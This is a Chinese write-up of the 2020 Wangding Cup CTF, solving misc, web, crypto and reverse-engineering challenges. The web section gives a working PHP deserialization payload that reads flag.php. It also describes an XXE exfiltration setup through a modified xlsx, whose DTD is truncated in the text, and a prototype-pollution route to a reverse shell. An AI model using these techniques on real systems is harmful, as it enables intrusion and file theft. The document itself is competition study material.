2020网鼎杯wp

2020网鼎杯wp_XJUSEC

  • MISC
    • 签到
  • WEB
    • filejava
    • AreUSerialz
    • notes
  • CRYPTO
    • boom
    • you raise me up
  • RE
    • signal
    • jocker
    • bang

MISC

签到

  • 点进去是选战队图标
  • 全部通过后会让输入token

2020网鼎杯wp_第1张图片

  • 然后能在console看到flag

2020网鼎杯wp_第2张图片

WEB

filejava

  • 打开题目,查看基本的功能后发现有一个文件下载功能,尝试穿越目录发现web.xml

  • 再次寻找这几个servlet的字节码在classes/cn/abc/servlet/xxx.class

2020网鼎杯wp_第3张图片

  • 将class反编译之后发现具有xxe漏洞

2020网鼎杯wp_第4张图片

  • xlsx文件以压缩包方式打开,更改各个文件夹中的xml文件,然后再本地vps监听端口

<data>&send;data>
no_show_poc.dtd:

">
%all;
  • 最后如图

2020网鼎杯wp_第5张图片

AreUSerialz

  • 打开题目后,直接给出了源码


include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();   
    }

    public function process() {
        if($this->op == "1") {
            $this->write();       
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: 
"
; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }
  • 显而易见的是一个反序列化的题目
  • FileHandler类中有写文件参数和读文件参数,然后已知已经存在了flag.php
  • op为1时是写文件,op为2时是读文件
  • 但是在__destruct中,对op进行了过滤
  • 可以根据=====强弱进行绕过
  • 设置op是int的2
  • 然后读取flag.php(绝对路径,cmdline+读取/web/config/httpd.conf得知
  • 但是is_valid()函数会过滤%00,而类中的属性是protected,但是在php7.1+中,对属性类型不敏感,所以可以使用public绕过
  • 构造payload

class FileHandler{
    public $op;
    public $filename;
    public $content;
    public function __construct()
    {
        $this->op=2;
        $this->filename='/web/html/flag.php';
        $this->content='tmp';


    }
}
echo serialize(new FileHandler());
  • payload:O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:18:"/web/html/flag.php";s:7:"content";s:3:"tmp";}
  • 读取到flag

notes

Y88d10.png

  • 用到了undefsage模块,

    2020网鼎杯wp_第6张图片

  • id,author,raw是我们控制的,符合原型链污染的方法,进而利用。

    2020网鼎杯wp_第7张图片

  • 最后有bash的命令执行,可以反弹shell,

    Y80YrR.png

    Y8BsYT.png

    2020网鼎杯wp_第8张图片

  • 最后查看/flag,得到flag

{9b093016-4f86-41d3-a203-154094bba637}

CRYPTO

boom

第一步求MD5值46e5efe6165a5afb361217446a2dbd01

MD5求解后是en5oy

2020网鼎杯wp_第9张图片

第二步

2020网鼎杯wp_第10张图片

第三步

2020网鼎杯wp_第11张图片

到这里就可以求出所有解了,但是flag闪的太快,没办法只能把程序逆一下了

2020网鼎杯wp_第12张图片

打开字符串窗口可以看到flag的输出格式,判断为之前的输入值,所以flag为

flag{en5oy_746831_89127561}


you raise me up

打开题发现是个python脚本

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from Crypto.Util.number import *
import random

n = 2 ** 512
m = random.randint(2, n-1) | 1
c = pow(m, bytes_to_long(flag), n)
print 'm = ' + str(m)
print 'c = ' + str(c)

# m = 391190709124527428959489662565274039318305952172936859403855079581402770986890308469084735451207885386318986881041563704825943945069343345307381099559075
# c = 6665851394203214245856789450723658632520816791621796775909766895233000234023642878786025644953797995373211308485605397024123180085924117610802485972584499
# n = 13407807929942597099574024998205846127479365820592393377723561443721764030073546976801874298166903427690031858186486050853753882811946569946433649006084096

sagemath秒了,2512以bsgs的复杂度就是2256

n = 2 ** 512

m= 391190709124527428959489662565274039318305952172936859403855079581402770986890308469084735451207885386318986881041563704825943945069343345307381099559075
c=6665851394203214245856789450723658632520816791621796775909766895233000234023642878786025644953797995373211308485605397024123180085924117610802485972584499
ZmodN = Zmod(2^512)

m=ZmodN(m)
c=ZmodN(c)

c.log(m)

hex(56006392793405651552924479293096841126763872290794186417054288110043102953612574215902230811593957757)

2020网鼎杯wp_第13张图片

求出flag的hex

0x666c61677b35663935636139332d313539342d373632642d656430622d6139313339363932636234617d

转为str

flag{5f95ca93-1594-762d-ed0b-a9139692cb4a}

RE

signal

IDA打开程序,进入主函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+18h] [ebp-1D4h]

  __main();
  qmemcpy(&v4, &unk_403040, 0x1C8u); //将unk_403040放入v4中
  vm_operad(&v4, 114);       //主要操作
  puts("good,The answer format is:flag {}");
  return 0;
}

跟进vm_operad()函数;发现函数对数组进行了一串复杂操作,0x403040是存放指令和数据的地址,每四个字节是一组。对照vm_operad函数人工分析,操作顺序。得出逻辑是讲输入处理后与0x403040最后的一些数据作比较。

int __cdecl vm_operad(int *a1, int a2)
{
  int result; // eax
  char Str[100]; // [esp+13h] [ebp-E5h]
  char v4[100]; // [esp+77h] [ebp-81h]
  char v5; // [esp+DBh] [ebp-1Dh]
  int v6; // [esp+DCh] [ebp-1Ch]
  int v7; // [esp+E0h] [ebp-18h]
  int v8; // [esp+E4h] [ebp-14h]
  int v9; // [esp+E8h] [ebp-10h]
  int v10; // [esp+ECh] [ebp-Ch]

  v10 = 0;
  v9 = 0;
  v8 = 0;
  v7 = 0;
  v6 = 0;
  while ( 1 )          //处理过程
  {
    result = v10;
    if ( v10 >= a2 )
      return result;
    switch ( a1[v10] )
    {
      case 1:
        v4[v7] = v5;
        ++v10;
        ++v7;
        ++v9;
        break;
      case 2:
        v5 = a1[v10 + 1] + Str[v9];
        v10 += 2;
        break;
      case 3:
        v5 = Str[v9] - LOBYTE(a1[v10 + 1]);
        v10 += 2;
        break;
      case 4:
        v5 = a1[v10 + 1] ^ Str[v9];
        v10 += 2;
        break;
      case 5:
        v5 = a1[v10 + 1] * Str[v9];
        v10 += 2;
        break;
      case 6:
        ++v10;
        break;
      case 7:
        if ( v4[v8] != a1[v10 + 1] )
        {
          printf("what a shame...");
          exit(0);
        }
        ++v8;
        v10 += 2;
        break;
      case 8:
        Str[v6] = v5;
        ++v10;
        ++v6;
        break;
      case 10:
        read(Str);
        ++v10;
        break;
      case 11:
        v5 = Str[v9] - 1;
        ++v10;
        break;
      case 12:
        v5 = Str[v9] + 1;
        ++v10;
        break;
      default:
        continue;
    }
  }
}

我们只需要把处理过程再现就可以了

code = [34,63,52,50,114,51,24,0xa7,49,0xf1,40,0x84,0xc1,30,122]
flag = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
flag[0] = (code[0]+5) ^ 16
flag[1] = (code[1]//3) ^ 32
flag[2] = code[2] +1+2
flag[3] = (code[3]^ 4) -1
flag[4] = (code[4]+33) //3
flag[5] = code[5]+1+1
flag[6] = (code[6]+32) ^ 9
flag[7] = (code[7] ^36) - 81
flag[8] = code[8]+1 -1
flag[9] = (code[9]-37) // 2
flag[10] = (code[10] ^ 65) -54
flag[11] = code[11] -32
flag[12] = (code[12] -37) //3
flag[13] = (code[13] +32) ^ 9
flag[14] = code[14] - 1 -65

for i in flag:
    print(i)
print("flag{",end='')    
for i in flag:
    print(chr(i),end='')
print("}")
#flag{757515121f3d478}

jocker

IDA打开题目,发现堆栈不平衡,修复之后还是无法反编译,估计有些混淆的垃圾代码

2020网鼎杯wp_第14张图片

但是一部分可以反编译

int __cdecl omg(char *a1)
{
  int result; // eax
  int v2[24]; // [esp+18h] [ebp-80h]
  int i; // [esp+78h] [ebp-20h]
  int v4; // [esp+7Ch] [ebp-1Ch]

  v4 = 1;
  qmemcpy(v2, &unk_4030C0, sizeof(v2));
  for ( i = 0; i <= 23; ++i )
  {
    if ( a1[i] != v2[i] )
      v4 = 0;
  }
  if ( v4 == 1 )
    result = puts("hahahaha_do_you_find_me?");
  else
    result = puts("wrong ~~ But seems a little program");
  return result;
}

char *__cdecl wrong(char *a1)
{
  char *result; // eax
  signed int i; // [esp+Ch] [ebp-4h]

  for ( i = 0; i <= 23; ++i )
  {
    if ( i & 1 )
    {
      result = &a1[i];
      a1[i] -= i;
    }
    else
    {
      result = &a1[i];
      a1[i] ^= i;
    }
  }
  return result;
}

对jocker进行动态调试

2020网鼎杯wp_第15张图片

可以解出后5位之前的flag

v3 = [
    14, 13, 9, 6, 19, 
    5, 88, 86, 62, 6,
    12, 60, 31, 87, 20,
    107, 87, 89, 13
]

str1 = "hahahaha_do_you_find_me?"
key1 = ""
for i in range(19):
    key1 += chr(v3[i] ^ ord(str1[i]))
print(key1)
#flag{d07abccf8a410c

2020网鼎杯wp_第16张图片

58与 } 异或的结果是71
猜测剩下的5位数可能都是异或71
遂得到flag

flag{d07abccf8a410cb37a}

bang

apk逆向,使用dex2脱壳可以得到两个dex文件,反编译后可以得到用户名密码和flag

2020网鼎杯wp_第17张图片

输入账号密码app也会有flag

2020网鼎杯wp_第18张图片

你可能感兴趣的:(CTF)